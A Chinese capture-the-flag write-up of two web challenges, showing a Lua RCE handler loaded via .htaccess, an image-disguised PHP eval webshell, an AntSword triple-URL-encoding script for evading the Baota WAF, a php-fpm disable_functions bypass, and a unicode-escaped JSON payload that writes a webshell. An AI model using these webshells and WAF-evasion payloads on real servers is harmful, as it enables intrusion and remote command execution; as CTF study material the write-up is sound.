西湖的两个Web整理

web1

方法一

宝塔的apache会带一个lua模块,利用上传 .htaccess 文件去解析lua文件,再传一个lua文件来RCE

.htaccess文件的内容:AddHandler lua-script .lua

1.lua文件内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
require "string"

function handle(r)
r.content_type = "text/plain"
local t = io.popen('/readflag')
local a = t:read("*all")
r:puts(a)

if r.method == 'GET' then
for k, v in pairs( r:parseargs() ) do
r:puts( string.format("%s: %s\n", k, v) )
end
else
r:puts("Unsupported HTTP method " .. r.method)
end
end

其中 local t = io.popen('/readflag') 是关键,这里的语句可以改成我们想要执行的语句。

然后访问1.lua 文件即可执行

方法二

1.用蚁剑的插件攻击fpm来绕过disabled_function 2.静态文件可以执行 动态文件编码三次也可以执行 3.通过换行来绕过WAF

解题,本地合成一个图片马传过去,图片马内容:

1
2
3
?? JFIF      ? C 		

<?php eval(urldecode(urldecode(urldecode($_POST['cmd']))));

然后抓包修改后缀绕过宝塔WAF

![1Z__U8VXX1J5_8J7J_F`EOO.png](https://i.loli.net/2020/10/17/LEyjYZfMaTHW5sl.png)

发现成功上传,但是参数是经过三次编码的,我们可以用蚁剑写一个编码器:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
/**
* php::url编码器
* Create at: 2020/10/08 11:13:29
*/

'use strict';

/*
* @param {String} pwd 连接密码
* @param {Array} data 编码器处理前的 payload 数组
* @return {Array} data 编码器处理后的 payload 数组
*/

function forceEncode(s) {
return Array.from(s).map(i=>'%'+i.charCodeAt(0).toString(16).padStart(2,'0')).join('')
}

module.exports = (pwd, data, ext={}) => {
const payload = data['_']
data[pwd] = forceEncode(forceEncode(forceEncode(payload)));
delete data['_'];
console.log(data);
return data;
}

然后我们连接我们传过去的555.php shell ,(连的时候注意改一下UA头,蚁剑的UA会被宝塔拦截)接下来就是绕过disabled_function

可以看到 /tmp 目录下 存在 php-cgi-74.sock ,猜测用fpm打,然后用蚁剑的插件上传so 和 php

![8X@1B`NU_DA3AUFRHAF08M2.png](https://i.loli.net/2020/10/17/odvV8KkeTfcnNwU.png)

然后用同样的方式去连.antproxy.php 文件 (编码UA头还有连接密码保持一致

然后就可以bypass了。

web5

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
include 'security.php';

if(!isset($_GET['source'])){
show_source(__FILE__);
die();
}
$sandbox = 'sandbox/'.sha1($_SERVER['HTTP_X_FORWARDED_FOR']).'/';
var_dump($sandbox);
if(!file_exists($sandbox)){
mkdir($sandbox);
file_put_contents($sandbox."index.php","<?php echo 'Welcome To Dbapp OSS.';?>");
}
$action = $_GET['action'];
$content = file_get_contents("php://input");


if($action == "write" && SecurityCheck('filename',$_GET['filename']) &&SecurityCheck('content',$content)){
$content = json_decode($content);
$filename = $_GET['filename'];
$filecontent = $content->content;
$filename = $sandbox.$filename;
file_put_contents($filename,$filecontent."\n Powered By Dbapp OSS.");
}elseif($action == "reset"){
$files = scandir($sandbox);
foreach($files as $file) {
if(!is_dir($file)){
if($file !== "index.php"){
unlink($sandbox.$file);
}
}
}
}
else{
die('Security Check Failed.');
}

代码逻辑很简单,就是往文件里面写内容,但是有限制,对文件名和内容都有一定的限制,json_decode()可以对unicode编码进行解码,所以这里我们用unicode编码尝试绕过

unicode转换的网站

http://www.msxindl.com/tools/unicode16.asp

最后我们的payload:

http://easyjson.xhlj.wetolink.com?source&action=write&filename=c.php

post data:

1
2
3
{"\u0063\u006f\u006e\u0074\u0065\u006e\u0074":"\u003c\u003f\u0070\u0068\u0070\u0020\u0065
\u0076\u0061\u006c\u0028\u0024\u005f\u0050\u004f\u0053\u0054\u005b\u0027\u0063\u006d\u0064
\u0027\u005d\u0029\u003b\u003f\u003e"}

然后蚁剑连上,getshell

这里没有想到json_decode()能对unicode解码…还是太菜了。